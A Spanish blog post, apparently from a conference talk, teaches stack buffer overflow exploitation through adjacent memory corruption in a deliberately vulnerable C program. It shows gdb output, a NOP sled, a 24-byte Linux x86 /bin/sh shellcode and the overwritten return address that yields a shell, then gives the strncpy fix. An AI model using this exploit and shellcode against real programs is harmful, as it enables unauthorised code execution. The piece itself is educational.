Durante mi conferencia sobre "Buffer Overflow for fun and pr0fit", luego de la larga y aburrida introducción teórica hice algunas demostraciones prácticas de explotación de binarios, bypasseo de protecciones y "adjacent memory corruption explotation" en la cual esta última falló, quizá por la presión de hacerlo en vivo, nervios o lo que sea, falló. Entonces me gustaría a través de este post hacer un repaso de este último tópico que me hubiera encantado haberlo compartido en vivo durante mi charla.
Tomamos el siguiente código en ANSI C:
Como vemos este pequeño programa (dsr.c, que pueden descargar de aquí) de ejemplo, toma los dos argumentos posicionales que entran (argv[1] y argv[2]).
Nuestro ejemplo también declara tres variables (buffers) del tipo char. De los cuales argv[1] se copia a vuln_array y argv[2] se copia a exploit_string, utilizando la función strncpy.
Según la propia página del manual de strncpy:
Para poder terminar un string de manera correcta debemos añadirle al final un null byte (NAME strcpy, strncpy - copy a string SYNOPSIS #includechar *strcpy(char *dest, const char *src); char *strncpy(char *dest, const char *src, size_t n); DESCRIPTION The strcpy() function copies the string pointed to by src, including the terminating null byte ('\0'), to the buffer pointed to by dest. The strings may not overlap, and the destination string dest must be large enough to receive the copy. The strncpy() function is similar, except that at most n bytes of src are copied. Warning: If there is no null byte among the first n bytes of src, the string placed in dest will not be null-terminated. If the length of src is less than n, strncpy() pads the remainder of dest with null bytes.
0x00 = \0
), por lo tanto la función strncpy() al encontrar el null byte, se dará cuenta que es end of the string, y dejará de copiar. Si este null no existiera, podríamos sencillamente seguir copiando (o modificando la memoría), sin límite alguno, pudiendo incluso poder corromper la memoria adyacente a nuestro buffer.
Veamos el siguiente ejemplo, tenemos dos buffers del tipo char definidos, buffer1[] y buffer2[] con el siguiente contenido:
Una vez compilado, en la memoria esto se vería de la siguiente manera:char buffer1[] = "hello"; char buffer2[] = "goodbye;
Entonces, ¿como podríamos nosotros atacar a nuestro programa? (dsr.c). Conociendo que la función strncpy() va a copiar todo lo que se encuentre en el buffer hasta el último byte, nosotros esencialmente podríamos escribir 256 caracteres dentro del buffer a fin de sobreescribir el NULL byte localizado al final, accediendo y manipulando el segundo buffer y atacando a la función sprintf() la cual es vulnerable a buffer overflow, debido a que no tiene control sobre los flujos de datos que manipula.[top of stack] buffer2[0] = 'g'; buffer2[1] = 'o'; buffer2[2] = 'o'; buffer2[3] = 'd'; buffer2[4] = 'b'; buffer2[5] = 'y'; buffer2[6] = 'e'; buffer2[7] = '\0'; <-- NULL BYTE buffer1[0] = 'h'; buffer1[1] = 'e'; buffer1[2] = 'l'; buffer1[3] = 'l'; buffer1[4] = 'o'; buffer1[5] = '\0'; <-- NULL BYTE
Ahora compilemos y desensamblemos la función main() de nuestro programa:
Lo que podemos ver en el dump, es como en las primeras instrucciones reservamos memoria para nuestros tres buffers, y como luego más adelante (a partir de +52) nos preparamos para entrar en la función strncpy@plt para finalmente llamar a sprintf@plt. Como sabemos que la función sprintf() es vulnerable a Buffer Overflow vamos a proceder a atacarla!.(gdb) disassemble main Dump of assembler code for function main: 0x08048474 <+0>: push ebp 0x08048475 <+1>: mov ebp,esp 0x08048477 <+3>: and esp,0xfffffff0 0x0804847a <+6>: sub esp,0x620 0x08048480 <+12>: cmp DWORD PTR [ebp+0x8],0x2 0x08048484 <+16>: jg 0x80484a80x08048486 <+18>: mov eax,DWORD PTR [ebp+0xc] 0x08048489 <+21>: mov edx,DWORD PTR [eax] 0x0804848b <+23>: mov eax,0x80485f4 0x08048490 <+28>: mov DWORD PTR [esp+0x4],edx 0x08048494 <+32>: mov DWORD PTR [esp],eax 0x08048497 <+35>: call 0x8048390 0x0804849c <+40>: mov DWORD PTR [esp],0x0 0x080484a3 <+47>: call 0x80483b0 0x080484a8 <+52>: mov eax,DWORD PTR [ebp+0xc] 0x080484ab <+55>: add eax,0x4 0x080484ae <+58>: mov eax,DWORD PTR [eax] 0x080484b0 <+60>: mov DWORD PTR [esp+0x8],0x100 0x080484b8 <+68>: mov DWORD PTR [esp+0x4],eax 0x080484bc <+72>: lea eax,[esp+0x19] 0x080484c0 <+76>: mov DWORD PTR [esp],eax 0x080484c3 <+79>: call 0x8048370 0x080484c8 <+84>: mov eax,DWORD PTR [ebp+0xc] 0x080484cb <+87>: add eax,0x8 0x080484ce <+90>: mov eax,DWORD PTR [eax] 0x080484d0 <+92>: mov DWORD PTR [esp+0x8],0x400 0x080484d8 <+100>: mov DWORD PTR [esp+0x4],eax 0x080484dc <+104>: lea eax,[esp+0x119] 0x080484e3 <+111>: mov DWORD PTR [esp],eax 0x080484e6 <+114>: call 0x8048370 0x080484eb <+119>: mov eax,0x8048611 0x080484f0 <+124>: lea edx,[esp+0x19] 0x080484f4 <+128>: mov DWORD PTR [esp+0x8],edx 0x080484f8 <+132>: mov DWORD PTR [esp+0x4],eax 0x080484fc <+136>: lea eax,[esp+0x519] 0x08048503 <+143>: mov DWORD PTR [esp],eax 0x08048506 <+146>: call 0x8048350 0x0804850b <+151>: lea eax,[esp+0x519] 0x08048512 <+158>: mov DWORD PTR [esp],eax 0x08048515 <+161>: call 0x80483a0 0x0804851a <+166>: mov eax,0x0 0x0804851f <+171>: leave 0x08048520 <+172>: ret End of assembler dump.
Lo primero que debemos realizar es determinar cual va a ser nuestro vector de ataque, en este caso lo va a ser vía argv[1] argv[2], por lo cual, vamos a tratar de encontrar con que cantidad de bytes estos buffers (principalmente argv[1]) hacen overflow.
Acabamos de escribir 256 letras "A" (0x41) en argv[1], sobrescribiendo el NULL byte con que debía terminar este string, y pisando la memoria adyacente y sobreescribiendo registros. Primero %EBP y luego %EIP. Por lo tanto nuestro esquema quedaría así:(gdb) set args $(python -c 'print "\x41"*256') $(python -c 'print "\x41"*14') (gdb) r MSG: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault. --------------------------------------------------------------------------[regs] EAX: 0x00000000 EBX: 0x002BEFF4 ECX: 0x002BF4E0 EDX: 0x002C0340 o d I t s Z a P c ESI: 0x00000000 EDI: 0x00000000 EBP: 0x41414141 ESP: 0xBFFFF550 EIP: 0x0014000A CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B [0x007B:0xBFFFF550]------------------------------------------------------[stack] 0xBFFFF5A0 : 00 00 00 00 00 00 00 00 - 03 00 00 00 C0 83 04 08 ................ 0xBFFFF590 : C8 F5 FF BF D3 C1 3F 9D - AC 76 0C 4B 00 00 00 00 ......?..v.K.... 0xBFFFF580 : B0 16 13 00 F4 EF 2B 00 - 00 00 00 00 00 00 00 00 ......+......... 0xBFFFF570 : 01 00 00 00 B0 F5 FF BF - C5 E7 11 00 B0 FA 12 00 ................ 0xBFFFF560 : C0 83 04 08 FF FF FF FF - C4 EF 12 00 7F 82 04 08 ................ 0xBFFFF550 : 03 00 00 00 F4 F5 FF BF - 04 F6 FF BF D0 13 13 00 ................ --------------------------------------------------------------------------[code] => 0x14000a: add BYTE PTR [eax],al 0x14000c: adc al,BYTE PTR [eax] 0x14000e: or al,0x0 0x140010: and ax,0x0 0x140014: mov al,ds:0x3d000d60 0x140019: add BYTE PTR [eax],al 0x14001b: add BYTE PTR [edx],dl 0x14001d: add BYTE PTR [eax+eax*1],cl -------------------------------------------------------------------------------- 0x0014000a in ?? () from /lib/libc.so.6
[ARGV[1] == 256 bytes ]+[ARGV[2] == 14 bytes]+[EBP]+[EIP]
A fin de distinguir estas partes de manera rápida y sencilla, vamos a continuar atacando esto, escribiendo algo de basura a en %EBP (en este caso algunas "B" (0x42424242
), y una return address (%EIP
) falsa 0xbfffffff
.
Bien!, hemos logrado adulterar el registro %EIP y nuestro programa intento acceder a la dirección(gdb) set args $(python -c 'print "\x41"*256') $(python -c 'print "\x41"*10+"\x42\x42\x42\x42"+"\xff\xff\xff\xbf"') (gdb) r MSG: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB���� Program received signal SIGSEGV, Segmentation fault. --------------------------------------------------------------------------[regs] EAX: 0x00000000 EBX: 0x002BEFF4 ECX: 0x002BF4E0 EDX: 0x002C0340 o d I t s Z a P c ESI: 0x00000000 EDI: 0x00000000 EBP: 0x42424242 ESP: 0xBFFFF550 EIP: 0xBFFFFFFF CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007BError while running hook_stop: Cannot access memory at address 0xc0000000 0xbfffffff in ?? ()
0xbffffffff
, la cual no es parte del espacio de direcciones de nuestro proceso, por lo cual, no existe. Ahora haremos lo siguiente:
- Reemplazar los 0x41 de argv[1] por nops (0x90).
- Restarle a la cantidad de NOPs a este el tamaño de nuestra shellcode (24 bytes)
PLATAFORM=Linux x86 - CMD=/bin/sh - SIZE=24 bytes "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"Ahora configuremos esto en argv[1] restemos a la cantidad de NOP's los 24 bytes de nuestra shellcode y ejecutemos todo otra vez.
Ahora deberemos determinar en que dirección de memoria se encuentran los NOP's que acabamos de añadir, a fin de apuntar nuestra return address hacia ellos. Para ello vamos a mapear la memoria del registro %ESP:(gdb) set args $(python -c 'print "\x90"*232+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"') $(python -c 'print "\x41"*10+"\x42\x42\x42\x42"+"\xff\xff\xff\xbf"') (gdb) r MSG: ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS�AAAAAAAAAABBBB���� Program received signal SIGSEGV, Segmentation fault. --------------------------------------------------------------------------[regs] EAX: 0x00000000 EBX: 0x002BEFF4 ECX: 0x002BF4E0 EDX: 0x002C0340 o d I t s Z a P c ESI: 0x00000000 EDI: 0x00000000 EBP: 0x42424242 ESP: 0xBFFFF550 EIP: 0xBFFFFFFF CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007BError while running hook_stop: Cannot access memory at address 0xc0000000 0xbfffffff in ?? ()
Si observamos rápidamente a partir de la dirección0xbffff740: 0x0000 0x0000 0x0000 0x0000 0x682f 0x6d6f 0x2f65 0x7474 0xbffff750: 0x3079 0x452f 0x6178 0x706d 0x656c 0x2f73 0x7364 0x0072 0xbffff760: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0xbffff770: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0xbffff780: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0xbffff790: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0xbffff7a0: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0xbffff7b0: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0xbffff7c0: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0xbffff7d0: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0xbffff7e0: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0xbffff7f0: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0xbffff800: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0xbffff810: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0xbffff820: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0xbffff830: 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0x9090 0xbffff840: 0x9090 0x9090 0x9090 0x9090 0xc031 0x6850 0x2f2f 0x6873 0xbffff850: 0x2f68 0x6962 0x896e 0x50e3 0x8953 0x99e1 0x0bb0 0x80cd 0xbffff860: 0x4100 0x4141 0x4141 0x4141 0x4141 0x4241 0x4242 0xff42
0xbfffff760
empiezan nuestros NOPs, por lo tanto, esta podría ser la return address que necesitamos, más abajo vamos a encontrar nuestra shellcode (a partir de 0xbffff840
), nuestro padding (0x41
), nuestro registro %ESP (0x42424242
) y finalmente el %EIP (0xbfffffff
).
Por lo tanto, ya sabemos a donde apuntar nuestro return address, así que ajustamos esto y ejecutamos todo nuevamente:
Bien, hemos exploteado una aplicación "segura", que podría haber sido prevenido si mientras copiábamos le restamos un carácter que corresponde a nuestro NULL byte,(gdb) set args $(python -c 'print "\x90"*232+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"') $(python -c 'print "\x41"*10+"\x42\x42\x42\x42"+"\x60\xf7\xff\xbf"') (gdb) r MSG: ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS�AAAAAAAAAABBBB��� process 1265 is executing new program: /bin/bash sh-4.1$
[ n - 1 ]
, por ejemplo:
strncpy(vuln_array, argv[1], sizeof(vuln_array) - 1); strncpy(exploit_string, argv[2], sizeof(exploit_string) - 1);
Facundo cual es la utilidad de esta demostracion?
ResponderEliminaro cual es sentido utilidad que le encontras?
Solamente explicar la vulnerabilidad y jugar un poco, nada mas.
EliminarAprender!!!!!!! Anselmo! Aprender!!!!!
ResponderEliminarGracias Facundo. Algunos dan verguenza ajena que ni las gracias dan y preguntan boludeces.
Muchas gracias tty0, lo explicas de una manera genial !
ResponderEliminarIt was very nice article and it is very useful to Linux learners.We also provide Linux online training
ResponderEliminar